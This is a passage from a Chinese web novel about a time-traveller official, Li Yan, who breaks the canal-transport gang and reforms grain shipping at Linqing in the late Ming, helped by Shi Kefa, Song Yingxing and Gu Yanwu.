李炎如约而至，独自走上栈桥。他穿着青色长衫，佩剑悬在腰间，步履从容，仿佛不是赴险，而是夜游。 庙门开着，里面灯火通明。大殿中央，一个五旬老者坐在太师椅上，穿着绸缎袍子，手里转着两个铁球。他身后站着二十余人，个个眼神凌厉，手握兵刃。 “李太保，果然有胆色。”老者开口，声音沙哑，“老夫潘永年，漕帮总舵主。” “潘帮主。”李炎拱手，“深夜相邀，不知有何指教？” “指教不敢。”潘永年眯起眼睛，“只是想问李太保一句——漕运百年规矩，为何要改？” “因为规矩坏了。”李炎直视他，“四百万石漕粮，实运不足三百万；十万漕工，苦不堪言；运河上下，贪腐横行。这样的规矩，不该改吗？” “改了，漕帮十万弟兄吃什么？”潘永年冷笑，“李太保，你读过书，懂得大道理。但你不懂运河——这河上讨生活，有河上的规矩。你断人财路，就是杀人父母。” “所以你就派人袭杀朝廷命官？” “那是给太保一个警告。”潘永年站起身，“老夫今日请太保来，是想做个交易——你回你的京城，继续做你的太保。运河的事，交给漕帮。每年，漕帮孝敬朝廷五十万两，孝敬太保……十万两。” 李炎笑了：“十万两？好大的手笔。” “太保若是嫌少，可以再加。”潘永年以为他心动，“只要太保睁只眼闭只眼，漕运的利润，分你三成。” “三成……一年怕是百万两吧？”李炎摇头，“可惜，我这个人，不爱钱。” 潘永年脸色一沉：“那太保爱什么？” “爱这运河畅通无阻，爱漕工能吃饱饭，爱大明江山稳固。”李炎一字一句，“潘帮主，你现在投降，交出账册，供出同党，我可保你不死。若执迷不悟……” 他顿了顿：“今夜，就是漕帮的末日。” 话音未落，庙外忽然响起喊杀声。潘永年脸色大变：“你带了人？” “带的不多，一百而已。”李炎拔剑，“但对付你们，够了。” 孙传庭率兵杀入，锦衣卫三人直扑潘永年。漕帮护卫拼死抵抗，但如何是正规军的对手？不过一刻钟，战斗结束。 潘永年被押到李炎面前，铁球滚落在地。 “李炎！你、你不得好死！”他嘶吼，“漕帮十万弟兄，不会放过你！” “十万弟兄？”李炎俯视他，“你问问他们，是愿意继续被你盘剥，还是愿意跟着朝廷，拿实实在在的工钱？” 他不再多言，对孙传庭道：“查封龙王庙，所有财物充公。潘永年押回船上，严加看管。另外——传檄运河沿线：漕帮已灭，凡漕工愿归顺朝廷者，既往不咎；凡顽抗者，以谋逆论处。” 走出龙王庙时，东方已泛白。 李炎站在栈桥上，望着运河。河水在晨光中泛起金鳞，远处有早起的渔船，炊烟袅袅。 新的一天，开始了。 而漕运的革新，也从这一夜，真正开始。 --- 黎明·船队 回到船队时，宋应星迎上来，神色激动：“大人！刚收到飞鸽传书——史可法史大人，已到临清！他在那里等您！” 史可法来了。这位明末最后的脊梁，终于要见面了。 李炎精神一振：“传令，全速南下，目标——临清！” 船队启航，明轮划破水面，向南驶去。 李炎站在船头，晨风吹起他的衣襟。身后，春梅悄悄递上一件披风。 “大人，前面还有很远的路。” “是啊，很远。”李炎接过披风，“但再远的路，也要走下去。” 因为他知道，临清之后，还有扬州，还有南京，还有整个天下。 而他要做的，就是在这条布满荆棘的路上，为大明，走出一条生路。 哪怕这条路，需要用血与火来铺就。 朝阳升起，照亮运河，也照亮前路。 【第八章完】 9. 等待进入网审 巳时·临清闸 临清闸，运河“咽喉”。 李炎船队抵达时，正值过闸高峰。数百艘漕船、商船、客船堵在闸口，绵延数里。闸吏的吆喝声、船工的号子声、商贾的争吵声，混着河水拍岸的哗啦声，喧嚣如沸。 “比河西务大十倍不止。”宋应星站在船头感慨。他是江西人，走运河下过江南，但每次见临清，仍觉震撼。 临清闸不是一道闸，是三道闸组成的复闸系统，每道闸宽五丈，深三丈，可容最大漕船通行。闸两侧有石砌码头，货栈林立，旗幡招展。更远处，城墙蜿蜒，城楼巍峨——临清是山东重镇，人口逾十万，商税占山东三成。 “史大人在哪里等我们？”李炎问。 孙传庭指向闸东：“那边有座望河楼，史大人包了顶层。” 船队靠岸。李炎留下宋应星处理船务，带着孙传庭和四个亲兵，步行前往望河楼。春梅换了女装，抱着藤箱跟在身后。 穿过码头，人潮汹涌。挑夫扛着麻袋，喊着号子；小贩推着车，叫卖炊饼、茶水、针线；乞丐蹲在墙角，伸出破碗。空气里混杂着汗味、河水腥气、香料味、马粪味。 “这才是运河该有的样子。”李炎低声说。河西务太荒凉，临清才显繁华。但繁华之下呢？ 望河楼是临清最高的酒楼，五层木楼，飞檐斗拱。掌柜见李炎气度不凡，忙引上顶层。 顶层雅间，临窗坐着一位中年文士。他四十出头，面容清癯，穿着半旧青袍，正低头看书。听见脚步声，抬头起身，拱手行礼：“可是李太保？下官史可法，恭候多时。” “史尚书。”李炎还礼，“久仰。” 两人对视。史可法的眼睛很亮，有读书人的清澈，也有官员的锐利。李炎看到他袖口有补丁，靴子磨得发白——这位南京兵部尚书，果然如史载，清贫自守。 “坐。”史可法亲自斟茶，“李太保一路辛苦。听闻在河西务雷霆手段，整顿漕弊，下官敬佩。” “史尚书过誉。”李炎接过茶，“都是为朝廷办事。不知尚书对漕运改革，有何高见？” 史可法从袖中取出一卷文书：“这是下官拟的《漕运十策》，请太保过目。” 李炎展开。文书蝇头小楷，条理清晰： 一、裁撤漕帮，设漕运总督衙门，直属户部。 二、废除闸费、过路费等苛捐杂税，统一征收漕银。 三、推广新式漕船，提高运力。 四、设河工学堂，培养专业人才。 五、清丈运河淤塞段落，疏浚河道。 六、在临清、淮安、扬州设三大漕仓，减少损耗。 七、漕工改募为兵，编入漕军，保障待遇。 八、严查走私，凡私运漕粮、军火者斩。 九、运河沿线设驿站、医馆，便利行旅。 十、漕运盈余，用于赈灾、兴学。 十策，每策都有详细实施办法、预算估算、可能阻力。显然不是临时起意，是深思熟虑。 “好！”李炎由衷赞叹，“史尚书大才！这十策若施行，漕运可焕然一新。” 史可法却无喜色：“好是好，但难。难在三点：其一，漕帮势力盘根错节，潘永年虽擒，但各地分舵仍在；其二，运河沿线官员、士绅，多有利益牵扯，阻力重重；其三……”他顿了顿，“钱从哪里来？” 李炎明白。改革需要钱，但朝廷没钱。崇祯的内帑早已掏空，国库年年赤字。 “钱的事，我来想办法。”李炎沉声道，“但需要史尚书助我——整顿漕运，不能只靠刀兵，还要靠人。南方官员，我不熟，需要尚书引荐、斡旋。” 史可法点头：“这是自然。下官已联络几位志同道合的同僚，他们愿助太保一臂之力。不过……”他犹豫片刻，“有句话，下官不知当讲不当讲。” “请直言。” “太保可知，南方士绅，对朝廷……颇有微词？” 李炎心中一动：“是因为‘辽饷’‘剿饷’加派？” “不止。”史可法压低声音，“南方这些年还算安定，未遭兵祸。但朝廷年年加派，地方官趁机盘剥，民怨已深。有些士绅私下议论：与其把钱粮送给朝廷打水漂，不如留在本地，保境安民。” 这是地方离心倾向的前兆。历史上，南明之所以内斗不休，就是因为江南士绅各怀心思，不愿全力支持朝廷。 “他们想拥兵自重？” “还没到那一步。”史可法摇头，“但防患未然。李太保，整顿漕运不仅是经济改革，更是政治表态——朝廷必须让南方看到，钱粮用在实处，能换来太平。否则……” 否则，大明可能等不到清军南下，自己就分裂了。 李炎沉默良久，忽然问：“史尚书，若有一天，北京不守，朝廷南迁，你会怎么做？” 史可法浑身一震，盯着李炎，眼中闪过惊疑、挣扎，最终化为坚定：“下官……誓死保卫大明江山。无论朝廷在哪里，下官都是大明的臣子。” 这话答得巧妙，没说“拥戴南迁”，但表明了立场。 李炎笑了：“有尚书这句话，我就放心了。来，我们详细说说，这十策如何施行。” 两人从巳时谈到午时，又从午时谈到申时。茶水换了三壶，笔记写了厚厚一叠。孙传庭在门外警戒，春梅在一旁记录要点。 当夕阳西斜时，方案初步成型： 一、以临清为试点，推行新漕制。李炎坐镇，史可法协调南方。 二、三日内，发布《漕运改革告示》，废除苛捐杂税，公布新工钱标准。 三、七日内，组建漕运总督衙门，从南京、北京调派干员。 四、一月内，完成临清段漕船清查，凡符合新规者，颁发“漕运许可”；凡违规者，一律扣押。 五、同时，筹建河工学堂，首批招收学徒百人，由宋应星授课。 “最难的是清查。”史可法指出，“临清在册漕船八百艘，实际可能逾千。其中多少是黑船？多少走私？多少属于漕帮？清查起来，必遭反弹。” “反弹就弹压。”李炎语气坚决，“我带了一千精兵，不够可以从山东卫所调。但更重要的是——”他看向史可法，“要争取底层漕工的支持。他们苦漕帮久矣，只要让他们看到实实在在的好处，就会站到朝廷这边。” 史可法若有所思：“太保的意思是……发动漕工？” “对。”李炎起身，走到窗前，望着楼下码头，“史尚书，你看那些扛包的、拉纤的、掌舵的——他们才是运河真正的主人。漕帮盘剥他们，官府忽视他们。现在，朝廷要给他们尊严，给他们活路。你说，他们会选谁？” 史可法看着李炎的背影，忽然觉得，这位年轻的太保，眼光之毒、手段之狠、心志之坚，远超他的年龄和阅历。 “下官……明白了。” --- 酉时·漕工聚所 临清码头西侧，有片棚户区，低矮的窝棚挨挨挤挤，污水横流。这里是底层漕工的住处，白日卖苦力，夜晚蜷在草席上，一干就是一辈子。 李炎换了粗布衣服，只带孙传庭和两个亲兵，悄悄来到这里。史可法本要同行，被李炎劝住——他身份太敏感，容易打草惊蛇。 窝棚区中心有片空地，搭着个草棚，算是“公所”。此时正是收工时分，几十个漕工围坐，就着凉水啃窝头。见有生人来，都警惕地抬头。 “各位兄弟，叨扰了。”李炎拱手，“我是京城来的，想打听点漕运的事。” 一个老漕工打量他：“打听什么？” “听说朝廷要改革漕运，不知兄弟们怎么看？” 漕工们交换眼神，没人说话。半晌，一个年轻汉子嗤笑：“改革？改来改去，苦的还是我们。去年也说减税，结果呢？税没减，还多了个‘清淤费’！” 众人附和，怨气冲天。 李炎不恼，在空地上坐下：“若这次改革，是真改革呢？比如——废除所有苛捐杂税，漕工工钱翻倍，每日现结，不拖不欠。” “做梦吧！”老漕工摇头，“朝廷哪有钱？” “朝廷没钱，但漕运有钱。”李炎平静道，“每年四百万石漕粮，实际损耗、贪墨超过百万石。把这些钱省下来，足够给十万漕工涨工钱。” 漕工们安静了。他们不傻，知道漕运腐败，但从没想过，腐败的钱能落到自己手里。 “你是谁？”年轻汉子问。 李炎亮出腰牌——不是官凭，是京营的令牌，“我是钦差李炎的属下，奉命来听听漕工的心声。李大人说了，改革能不能成，关键在兄弟们愿不愿意支持。” “李大人……就是那个擒了潘永年的李太保？” “对。” 漕工们骚动起来。潘永年被擒的消息已经传开，底层漕工拍手称快，但也担心漕帮报复。 “李太保真能扳倒漕帮？”老漕工颤声问。 “已经在做了。”李炎道，“但漕帮树大根深，需要兄弟们帮忙——比如，检举黑船、揭发贪官、提供线索。当然，有风险，漕帮会报复。所以李大人承诺：凡举报者，赏银十两；凡因举报遭报复者，朝廷养其全家。” 十两银子，够一家老小吃喝一年。重赏之下，必有勇夫。 漕工们心动了。但长期的压迫让他们不敢轻易相信。 李炎不再多说，起身：“三日后，码头会贴出告示，上面有具体章程。兄弟们可以看看，若觉得可行，就到漕运衙门报名。告辞。” 他走出棚户区，孙传庭低声道：“大人，他们会信吗？” “会。”李炎肯定，“因为他们没得选。要么继续被盘剥，要么搏一把。是人，都会选后者。” 正说着，前方巷口闪出几个人，挡住去路。为首的是个疤脸壮汉，提着短棍，身后跟着七八个混混。 “几位，聊完了？”疤脸咧嘴笑，“聊得挺开心啊。” 孙传庭拔刀：“让开！” “哎哟，军爷好凶。”疤脸不退反进，“不过这儿是临清，不是京城。哥几个奉命，请这位爷去喝杯茶。” 李炎眯起眼睛：“奉谁的命？” “漕帮，临清分舵。”疤脸冷笑，“潘老大虽然栽了，但漕帮还在。李太保动我们的饭碗，就别怪我们不讲情面。” 话音未落，他身后混混们亮出兵器——不是刀剑，是渔叉、铁钩、船桨，都是水上械斗的家伙。 孙传庭护住李炎：“大人先走！” 李炎却摇头，从怀中掏出一物——不是枪，是枚掌心雷。他点燃引信，扔向空中。 “砰！” 爆炸声在暮色中格外刺耳。瞬间，周围屋顶、巷口冒出数十名士兵——都是孙传庭提前埋伏的。 疤脸脸色大变：“有埋伏！” “拿下！”李炎冷声。 士兵合围。混混们虽悍勇，但如何是正规军的对手？不过片刻，全被制服。 疤脸被押到李炎面前，犹自挣扎：“李炎！你抓了我，漕帮不会放过你！临清码头，明天就得停摆！” “停摆？”李炎俯视他，“我倒要看看，是你们漕帮说话算数，还是朝廷说话算数。” 他对孙传庭道：“押回去，严加审讯。我要知道，临清分舵还有多少人，据点在哪里，与哪些官员勾结。” “是！” 回到驻地时，宋应星迎上来，面色凝重：“大人，刚收到消息——漕帮在江南发动了！” --- 戌时·紧急军情 烛火下，三封急报摊在桌上。 第一封来自扬州：漕帮煽动数千漕工罢运，堵截运河，要求释放潘永年，废除新政。 第二封来自淮安：当地漕帮分舵袭击漕运衙门，打死官员三人，劫走库银五千两。 第三封最严重——来自南京：“漕帮勾结太湖匪寇，聚众数万，扬言若朝廷不妥协，就断漕运，攻州县。” “他们反了！”孙传庭拍案。 史可法脸色苍白：“下官失察……没想到漕帮如此大胆。” 李炎却异常平静。他盯着地图，手指划过运河线：“不是反，是试探。漕帮在试探朝廷的决心，也在试探我的底线。” “大人，要不要调兵镇压？”孙传庭问。 “调兵需要时间，而且容易激起民变。”李炎摇头，“漕帮聪明，他们打的是‘为民请命’的旗号，裹挟的是底层漕工。若我们武力镇压，正中下怀——他们会说朝廷不顾百姓死活，引发更大动荡。” “那怎么办？总不能妥协吧？” “当然不能妥协。”李炎眼中闪过冷光，“但镇压要讲方法。史尚书。” “下官在。” “你立刻回南京，做三件事：第一，联络可靠官员、士绅，陈明利害，争取支持；第二，开仓放粮，赈济因罢运失业的漕工，釜底抽薪；第三，发布告示，凡主动脱离漕帮者，既往不咎，还可优先录用为新漕军。” 史可法眼睛一亮：“分化瓦解？” “对。”李炎道，“漕帮十万之众，核心不过万余，大多是被裹挟的苦力。只要让他们看到朝廷的诚意、漕帮的虚伪，人心自然离散。” “下官这就去办！” 史可法连夜启程。李炎又对宋应星道：“先生，新式漕船的建造，必须加快。我要在三个月内，看到第一批百艘船下水。” “时间太紧……” “紧也要做。”李炎沉声道，“有船，才有底气。没有船，漕运命脉就捏在别人手里。” 宋应星咬牙：“老朽尽力！” 最后，李炎看向孙传庭：“孙将军，你带五百兵，护送史尚书南下。记住，沿途若遇漕帮阻挠，可武力清除，但尽量不伤及无辜。” “末将领命！”孙传庭迟疑，“那大人您……” “我留在临清。”李炎望向窗外夜色，“漕帮不是想让我妥协吗？我就让他们看看，什么是真正的……雷霆手段。” --- 子时·暗室密议 临清城，某处私宅密室。 烛台下坐着五人。主位是个富态商人，姓钱，临清最大的粮商，也是漕帮在山东的白手套。左手边是个师爷打扮的瘦子，右手边是个武官——临清卫千户，姓赵。另外两人，一个是本地举人，一个是寺庙住持。 “李炎到临清才一天，就抓了我们三十多个兄弟。”钱老板脸色阴沉，“潘老大栽在他手里，现在他又要动临清。诸位，咱们不能坐以待毙。” 赵千户冷哼：“他有一千兵，我有三千卫所兵。真要动手，未必怕他。” “不可。”师爷摇头，“李炎是钦差，有尚方宝剑。动他，就是造反。朝廷正愁没借口收拾咱们呢。” “那怎么办？等着他抄家？”举人急了，“我家三百亩地，年年‘孝敬’漕帮，账本要是落到李炎手里……” “账本必须毁掉。”钱老板咬牙，“但李炎盯得紧，不好动手。所以，咱们得让他……分心。” “怎么分心？” 钱老板看向住持：“大师，您庙里不是收留了不少流民吗？挑些胆大的，明日去码头闹事，就说是李炎改革，断了他们活路。闹得越大越好。” 住持捻着佛珠：“阿弥陀佛，出家人……” “事成之后，捐香火钱一千两。”钱老板打断。 住持合十：“我佛慈悲，渡人苦难，也是功德。” 钱老板又对赵千户道：“赵大人，您手下的兵，明日‘恰好’去码头巡逻。若流民与李炎的兵冲突，您就……维持秩序。” “维持秩序？”赵千户会意，“明白，一定‘公平公正’。” 最后，钱老板对师爷说：“先生，您联络南京那边，让他们再加把火。李炎不是要改革吗？咱们就让整个江南乱起来，看他顾哪头！” 五人密议到丑时才散。他们不知道，密室屋顶上，一个黑影悄然离去。 --- 寅时·李炎驻地 黑影是锦衣卫三人组中的“夜枭”，擅长潜伏追踪。他将密议内容原原本本汇报给李炎。 “果然沉不住气了。”李炎听完，冷笑，“流民闹事，卫所兵‘维持秩序’……好计策。可惜，用错了人。” 他唤来陈平：“去请宋先生。” 宋应星匆匆而来，睡眼惺忪：“大人有何吩咐？” “先生，我记得您设计过一种‘烟雾弹’？” “是。”宋应星点头，“用硝石、硫磺、木屑混合，点燃后产生浓烟，可遮蔽视线，但无毒。原想用于火攻时掩护撤退。” “现在有多少？” “材料充足，可现配百枚。” “好。”李炎下令，“立刻配制，明日我要用。” 又对夜枭道：“你带人去盯住那五个人，尤其钱老板和赵千户。他们有任何异动，立即回报。” “遵命。” 众人领命而去。李炎独自站在窗前，望着夜色中的临清城。 这座城市繁华，但繁华之下，是无数利益交织的暗网。漕帮、粮商、卫所、士绅、寺庙……他们盘踞在此几十年，早已形成利益共同体。现在，他要打破这个共同体，必然遭到疯狂反扑。 但，那又如何？ 他来到这个时代，本就是要翻天覆地。 “大人，您该休息了。”春梅轻声道。 李炎转身，看着这个一路跟随的宫女，忽然问：“春梅，你怕吗？” 春梅摇头：“有大人在，奴婢不怕。” “如果……我败了呢？” “那奴婢就陪大人一起。”春梅声音很轻，但坚定，“反正这世上，奴婢也没什么牵挂了。” 除了那个生死未卜的弟弟。 李炎心中涌起暖意，也涌起责任。他不仅要救大明，还要救这些具体的人——春梅，漕工，还有千千万万在乱世中挣扎的百姓。 “去睡吧。”他柔声道，“明天，还有一场硬仗。” --- 卯时·码头骚动 天刚亮，码头就出事了。 数百流民突然涌来，喊着“要活路”“反改革”，冲击漕运衙门临时办公点。守卫士兵试图阻拦，但流民中有混入的漕帮打手，故意推搡冲突，局面迅速失控。 “打人了！官兵打人了！”有人尖叫。 混乱中，赵千户带着三百卫所兵“及时”赶到，将流民和守卫隔开。但卫所兵明显偏袒流民，对守卫推搡喝骂。 “都住手！”李炎的声音从高处传来。 他站在码头货栈二楼，身后站着宋应星和二十名亲兵。晨光中，他的身影挺拔如松。 “李太保！”赵千户拱手，“末将正在维持秩序，这些流民……” “流民？”李炎打断，“我怎么看到，有人袖藏短棍，有人腰间别刀？赵千户，你维持秩序，就是这样维持的？” 赵千户脸色一变。 李炎不再理他，面向流民：“诸位乡亲，我是钦差李炎。你们有什么诉求，可以派代表来说。但冲击衙门，是重罪。” 流民安静了一瞬，随即有人喊：“我们要活路！你改革漕运，断了我们生计！” “改革不是断生计，是给新生计。”李炎朗声道，“从今日起，临清码头招募漕工，日薪三十文，管两顿饭，工钱日结。凡报名者，先发三日工钱作安家费！” 这话一出，流民哗然。三十文，比现在漕帮给的工钱高一倍，还日结、管饭？ “真的假的？” “骗人的吧？” 李炎挥手，亲兵抬出三口大箱，打开——里面是满满的白银和铜钱。 “钱就在这里。”李炎道，“想报名的，现在就可以领钱。但有一条——领了钱，就要守规矩，听调度。闹事者，不但没工钱，还要治罪。” 流民犹豫了。大多数人只是被煽动，并非真想造反。现在有实实在在的好处，谁还愿意闹？ 混在人群中的漕帮打手急了，高喊：“别信他！朝廷什么时候说话算数过？领了钱，明天就抓你充军！” 李炎眼神一厉：“宋先生。” 宋应星点头，对身边工匠示意。十几个陶罐被点燃，扔向打手聚集处。 “砰砰砰——” 陶罐炸开，喷出浓密白烟，瞬间笼罩那片区域。打手们被烟呛得咳嗽流泪，慌乱中现了原形——他们抽出短棍、匕首，与周围真正的流民截然不同。 “拿下！”李炎下令。 亲兵冲入烟中，精准抓捕。不过片刻，三十多个打手全被制服。 烟散，流民们看清真相，顿时怒了：“他们是漕帮的人！故意煽动我们！” “对！我们被骗了！” 民心瞬间逆转。李炎趁热打铁：“现在，愿意报名的，到这边登记。不愿意的，可以离开，绝不追究。” 大多数流民涌向登记处。少数迟疑的，也默默退走。 赵千户脸色铁青，想说什么，却见李炎冷冷看向他：“赵千户，你维持秩序有功，本官会向朝廷为你请功。不过……”他话锋一转，“本官接到举报，说你与漕帮勾结，克扣军饷，私设关卡。此事，本官会查实。在查清之前，你的兵，撤出码头。” “你！”赵千户怒目而视。 李炎亮出七星令：“赵千户，要抗命吗？” 赵千户咬牙，最终低头：“末将……遵命。” 卫所兵撤走。码头秩序恢复，甚至比之前更有序——新招募的漕工干劲十足，因为他们看到了希望。 --- 巳时·乘胜追击 首战告捷，李炎没有停歇。 他命人张贴告示，公布《漕运改革章程》，同时宣布：即日起，临清码头所有货栈、仓库，接受官府清查。凡配合者，既往不咎；凡隐瞒、抗拒者，一律查封。 钱老板的粮仓首当其冲。当官兵上门时，他还在家中喝茶，以为李炎不敢动他——他在临清经营三十年，上下打点，自以为根基深厚。 “钱老板，这是搜查令。”带队的是孙传庭留下的副将，“请配合。” “你们敢！”钱老板拍案，“我是临清商会会长，与布政使大人……” “与谁都没用。”副将冷声，“李太保有令：凡阻挠清查者，当场拿下。钱老板，你要试试吗？” 钱老板看到门外全副武装的士兵，终于怂了。 清查结果触目惊心：钱家仓库里，不仅有囤积的粮食，还有走私的盐铁、甚至军械。账本更惊人——上面记录了历年贿赂官员的明细，从知县到布政使，涉及山东官场半壁江山。 “抄家。”李炎下令，“钱老板押入大牢，账本封存，另抄一份快马送京。” 同时，赵千户的卫所也被查。查出克扣军饷三万两，私设关卡收费五万两，与漕帮分赃记录清清楚楚。 “一并拿下。” 一日之间，临清两大巨头倒下。消息传开，全城震动。其他商户、官员惶惶不可终日，有连夜出逃的，有主动投案的，有 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“先生愿助我，求之不得。不知先生有何高见？” 顾炎武从怀中取出一卷手稿：“这是草民所著《漕运考》，详细考证历代漕运利弊，并提出了十二条改革建议，请太保过目。” 李炎接过，快速浏览。顾炎武的建议比史可法的更激进，也更系统——他主张彻底废除漕运的垄断特权，引入商运竞争；主张漕粮折银，减少损耗；主张在运河沿线兴修水利，造福民生。 “好！太好了！”李炎拍案，“先生之策，深得我心。只是……推行起来，阻力更大。” “阻力大，才要推行。”顾炎武正色道，“太保，草民游历南北，亲眼所见，大明之病，不在外敌，在内政。漕运之弊，只是冰山一角。若不能刮骨疗毒，纵使击退闯贼、清虏，也不过是苟延残喘。” 这话说得尖锐，但李炎深以为然。 “所以先生的意思是……” “要改，就改彻底。”顾炎武目光炯炯，“不仅要改革漕运，还要改革税制、军制、科举。但饭要一口口吃，漕运是突破口。只要漕运改革成功，就能证明新政可行，就能争取更多支持。” 李炎与宋应星对视，都看到对方眼中的振奋。 有了顾炎武加入，改革团队如虎添翼。 “先生若不嫌弃，请任漕运总督衙门顾问，参赞改革。”李炎郑重邀请。 顾炎武深深一揖：“固所愿也，不敢请耳。” --- 未时·江南急报 正当李炎与顾炎武、宋应星商议细节时，又一封急报传来。 这次不是坏消息——史可法在南京取得突破。 他联合南京六部中正直官员，说服魏国公徐弘基（徐达后人）出面调停。徐家在江南威望极高，他一表态，许多观望的士绅开始动摇。 同时，史可法开仓放粮，招募失业漕工修堤、疏浚，以工代赈，稳住了局面。 更关键的是，他查出了漕帮与南京某些官员勾结的证据，当众公布。舆论哗然，漕帮从“为民请命”变成了“官商勾结”，人心尽失。 “史尚书好手段！”宋应星赞叹。 顾炎武却皱眉：“虽暂时稳住，但根本问题未解。江南士绅对朝廷离心，不是一天两天了。太保，您可知，江南民间流传一句话？” “什么话？” “‘崇祯皇帝坐北京，不如李闯王坐南京。’” 李炎瞳孔一缩。这话太毒了，但反映了一个残酷现实——在江南百姓看来，远在北京的朝廷，除了收税加派，没带来任何好处。而近在眼前的漕帮盘剥、官员腐败，却是实实在在的苦难。 “所以改革必须成功。”李炎沉声道，“要让江南百姓看到，朝廷能为他们做主，能带来实实在在的好处。” 他提笔给史可法回信，提出新方案： 一、在江南试行“漕粮折银”，百姓可按市价交银代粮，免去运输损耗。 二、将漕运盈余的百分之三十，返还地方，用于修桥铺路、兴办学堂。 三、在南京设立“漕运议会”，由地方士绅、漕工代表、官员共同议事，监督漕运。 “这……”顾炎武看完，神色复杂，“太保，这三条若施行，等于把部分漕运权力下放地方。朝廷那边……” “朝廷那边，我去说服。”李炎道，“权力下放不可怕，可怕的是权力滥用。只要监管到位，让利于民，反而能凝聚人心。” 他想起后世“分税制”的经验——中央与地方合理分权，才能激发活力。大明的问题，就是中央集权过度，地方毫无积极性。 “太保远见，草民佩服。”顾炎武深深一揖。 --- 申时·潘永年的供词 地牢里，潘永年终于开口了。 连续三天的审讯，锦衣卫用尽了手段——不是酷刑，是心理战。他们让潘永年看到漕帮分舵一个个被端，同党一个个落网，最后连他最信任的师爷也招供了。 “我说……我都说……”潘永年瘫在草席上，眼神涣散，“但我要见李炎……只见他。” 李炎亲自来到地牢。 潘永年看着他，忽然笑了：“李太保，你赢了。但你知不知道，你动了多少人的饭碗？” “愿闻其详。” “从杭州到通州，运河沿线，靠漕运吃饭的，不下百万人。”潘永年声音嘶哑，“漕帮只是明面上的，暗地里，有多少官员、士绅、商贾，靠着漕运发财？你改革，断的不是漕帮的财路，是整个利益集团的财路。” “我知道。” “知道你还敢做？”潘永年瞪大眼睛，“你就不怕……被暗杀？被下毒？被栽赃？这运河上，死个钦差，不算什么新鲜事。” 李炎平静地看着他：“怕，但我更怕大明亡国。潘永年，你也算个人物，难道就甘心看着这条运河，烂下去？” 潘永年沉默良久，忽然问：“李太保，若我全招了，能活吗？” “不能。”李炎实话实说，“你罪行太重，必须死。但如果你配合，我可以保你家人平安，不抄家，不株连。” 这对潘永年来说，已经是最好结果。他闭目良久，终于道：“好，我招。” 他招供的内容，触目惊心： 漕帮不仅走私、贪墨，还与关外有贸易——向满清出售铁器、火药、药材，换取人参、毛皮。更可怕的是，他们暗中资助一些“山寨”，假扮流寇劫掠，实则控制地方。 “还有……”潘永年犹豫片刻，“漕帮与宫里……也有联系。” “宫里？谁？” “具体是谁，我不知道。但每年，都有一笔十万两的银子，从漕帮账上划走，送往北京某个府邸。接头的是个太监，姓……姓杜。” 杜勋！坤宁宫总管太监！ 李炎心中一寒。原来漕帮的靠山，不只是地方官员，还有宫里！难怪如此猖狂。 “账本呢？” “在……在杭州总舵，密室暗格里。”潘永年喘着气，“暗格机关，只有我和师爷知道。师爷已招，你应该拿到了。” 李炎确实拿到了。但他没想到，这账本牵扯如此之深。 “还有什么要说的？” 潘永年看着他，忽然道：“李太保，你是个能臣，但……太急了。大明这艘船，已经千疮百孔，你修得再快，也快不过沉没的速度。” “那就尽力让它沉得慢一点。”李炎起身，“至少，让船上的人，有机会上救生艇。” 他走出地牢，阳光刺眼。 春梅等在门外，递上披风：“大人，宫里来人了。” --- 酉时·天使到来 来的是个年轻太监，姓高，司礼监随堂太监，王承恩的干儿子。他带来崇祯的密旨。 密旨内容让李炎心惊： 一、漕运改革照常进行，但“不宜过激”，以免激起民变。 二、涉及宫里的事，“暂缓查处”，等“时机成熟”。 三、命李炎“速往大同”，安抚吴三桂，务必使其“不生异心”。 显然，崇祯收到了某些压力，妥协了。宫里那条线，他暂时不想动。 李炎心中涌起无力感。这就是政治——有时候，明知是毒瘤，也不能马上割，因为牵扯太多。 “李太保，皇上还有口谕。”高太监低声道，“皇上说：爱卿之心，朕知之。但治大国如烹小鲜，不可操之过急。有些事……要等。” 等什么？等时机，等实力，还是等……崇祯下决心？ 李炎不知道。但他知道，自己不能停。 “臣领旨。”他躬身，“请公公回禀皇上：臣必稳妥行事，但改革……不会停。” 高太监深深看了他一眼：“太保保重。” 太监走后，顾炎武和宋应星进来，面色凝重。他们都猜到了密旨内容。 “太保，还要继续吗？”宋应星问。 “继续。”李炎斩钉截铁，“但策略要调整——宫里那条线，暂时不动。但地方上的贪官污吏、漕帮余孽，继续清除。改革照常推进，只是……低调些。” 他看向顾炎武：“先生，可能要委屈您，暂时不在明面上任职。但改革方案，还需您全力协助。” 顾炎武洒脱一笑：“草民本就是一介布衣，无所谓明面暗面。能为天下做些实事，足矣。” “好。”李炎铺开地图，“接下来，我们要做三件事：第一，巩固临清成果，将新漕制推广到整个山东段；第二，准备北上大同，会会吴三桂；第三……” 他顿了顿：“秘密调查宫里那条线。不动，不等于不查。等时机成熟，这些账，都要算。” --- 戌时·临别之夜 夜色降临，运河上灯火点点。 李炎站在码头，望着南下的船队——史可法已经稳住江南，改革有了基础；顾炎武留在临清，继续完善方案；宋应星的新船正在建造，未来可期。 但他，要北上了。 去大同，见那个历史上毁誉参半的吴三桂。是安抚，是拉拢，也是……戒备。 “大人，船备好了。”孙传庭走来，“五百精兵，明日出发。” 李炎点头。他看向身边的春梅：“你……留在临清吧。这里安全些，等我从大同回来，再带你去保定找你弟弟。” 春梅却摇头：“奴婢跟大人去。” “大同危险。” “哪里不危险？”春梅轻声道，“这世道，没有安全的地方。奴婢……想跟着大人。” 李炎看着她眼中的坚定，终于点头：“好。” 夜风起，带来运河的水汽，也带来远方的气息。 前路依然艰险，但李炎心中，却比来时多了几分底气。 因为他不是一个人在战斗了。有史可法在江南周旋，有顾炎武在临清谋划，有宋应星在改造船只，还有千万渴望改变的百姓。 星星之火，可以燎原。 而他，要做那点火的人。 “走吧。”他转身，“去大同。” 月光洒在运河上，波光粼粼，如一条银色的路，通向不可知的远方。 而李炎，将沿着这条路，继续走下去。 直到，为这个时代，点亮新的黎明。 【第九章完】 10. 等待进入网审 四月初一·离临清 晨雾如纱，临清闸在薄雾中若隐若现。李炎的船队改走陆路，五百骑兵、二十辆马车，蜿蜒成一条长龙，向北行进。 马车里，李炎闭目养神，脑海中复盘着临清一月的得失： 漕帮北直隶势力基本肃清，潘永年伏法，其党羽或擒或逃。 新漕制在临清试行初见成效，漕工日薪制推行后，码头效率提升三成，贪墨减少七成。 宋应星督造的第一批三十艘新式漕船已下水，正在试航。若效果良好，将在全线推广。 顾炎武留在临清主持漕运议会筹建——这是李炎力排众议推行的“地方议事”试点，虽遭保守官员反对，但崇祯最终默许。 代价呢？李炎睁开眼，看着车窗外倒退的田野。 